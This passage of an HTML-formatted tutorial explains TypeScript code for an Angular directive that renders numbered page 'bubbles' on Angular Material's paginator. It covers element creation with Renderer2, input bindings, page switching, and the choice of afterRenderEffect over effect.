    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bubbleButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="c1"&gt;// add class &amp;amp; text&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;g-bubble&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;margin-right&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;8px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// react on click&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;switchPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// render on UI&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// set style to hidden by default&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * helper function to create dots (....) on DOM indicating that there are
   * many more bubbles until the last one
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;createDotsElement&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dotsEl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dotsText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.....&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// add class&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;font-size&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;18px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;margin-right&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;8px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;padding-top&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;color&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#919191&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// append text to element&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dotsText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// render dots to UI&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// set style none by default&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dotsEl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * Helper function to switch page
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;switchPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;previousPageIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageIndex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// switch page index of mat paginator&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// change active button styles&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;changeActiveButtonStyles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;previousPageIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// need to trigger page event manually, because we are changing pageIndex programmatically&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;pageIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;pageSize&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;previousPageIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;previousPageIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Injecting Dependencies
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MatPaginator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;MatPaginator&lt;/code&gt; - we hook into its current &lt;code&gt;pageIndex&lt;/code&gt;, &lt;code&gt;pageSize&lt;/code&gt;, and its &lt;code&gt;page&lt;/code&gt; stream&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ElementRef&lt;/code&gt; - root element of the paginator (so we can query its internals)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Renderer2&lt;/code&gt; - the safe way to create elements, set styles/classes, and listen to events. Works nicely with SSR and avoids direct DOM APIs&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Input / Output Bindings
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;showFirstButton = input(true);&lt;/code&gt; &amp;amp; &lt;code&gt;showLastButton  = input(true);&lt;/code&gt; - whether to display first and last buttons for fast navigation on the start / end of the table&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;renderButtonsNumber = input(2);&lt;/code&gt; - when you are on an active page, let’s say index &lt;code&gt;6&lt;/code&gt; , then how many buttons before and after should we display&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;paginationSize&lt;/code&gt; - this input is required to detect changes in the table length (after filtering or loading new data). When it changes, the directive re-renders the bubbles to match the correct number of pages&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Core Logic Execution
&lt;/h3&gt;

&lt;p&gt;The directive itself is around 300 lines of code, but when you try to understand how it works, the main logic is inside the &lt;code&gt;buildButtonsEffect&lt;/code&gt; effect, such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;buildButtonsEffect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;afterRenderEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// rebuild buttons when pagination size change&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;paginationSize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;untracked&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// remove buttons before creating new ones&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeButtons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// set some default styles to mat pagination&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;styleDefaultPagination&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// create bubble container&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createBubbleDivRef&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// create all buttons&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;buildButtons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// switch back to page 0&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;switchPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What is great about the effect, is that, it will re-execute when length (size) of the elements change, so for example if you have one table, but doing server-side data filtering, then each time new data arrives, bubbles will be recalculated due to &lt;code&gt;paginationSize&lt;/code&gt; signal input. The brief overview is described below. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;paginationSize&lt;/code&gt; - listen on page size changes (on new data) to recalculate bubbles&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;removeButtons()&lt;/code&gt; – clear previous custom DOM (if re-running)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;styleDefaultPagination()&lt;/code&gt; – hide certain default Material bits and position labels&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;createBubbleDivRef()&lt;/code&gt; – create a container where our bubbles will live&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;buildButtons()&lt;/code&gt; – create bubbles + dots based on total length and page size&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;switchPage(0)&lt;/code&gt; – start from page 0 to keep things predictable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You may also ask, why we use &lt;code&gt;afterRenderEffect&lt;/code&gt; instead of &lt;code&gt;effect&lt;/code&gt; ? The reason is that &lt;code&gt;afterRenderEffect&lt;/code&gt; is executed only in the browser, but &lt;code&gt;effect&lt;/code&gt; also runs on the server side. It could lead to some errors if your app supports SSR. For a deeper explanation, check out my &lt;a href="https://www.angularspace.com/afterrendereffect-afternextrender-aftereveryrender-renderer2/" rel="noopener noreferrer"&gt;afterRenderEffect, afterNextRender, afterEveryRender &amp;amp; Renderer2 article&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Core Logic Execution - Switching Page Manually
&lt;/h3&gt;

&lt;p&gt;The custom bubbles live outside Angular Material’s built-in controls. That means when a user clicks a bubble, nothing in &lt;code&gt;MatPaginator&lt;/code&gt; fires by itself, we have to connect the click to the paginator so the table (and anyone subscribed to &lt;code&gt;matPag.page&lt;/code&gt;) reacts, hence the need for &lt;code&gt;switchPage()&lt;/code&gt; function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;createButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// our unique bubble showing a specific page - 1, 2, etc.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bubbleButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// ... some code ...&lt;/span&gt;

  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bubbleButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;switchPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="c1"&gt;// ... some code ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;switchPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

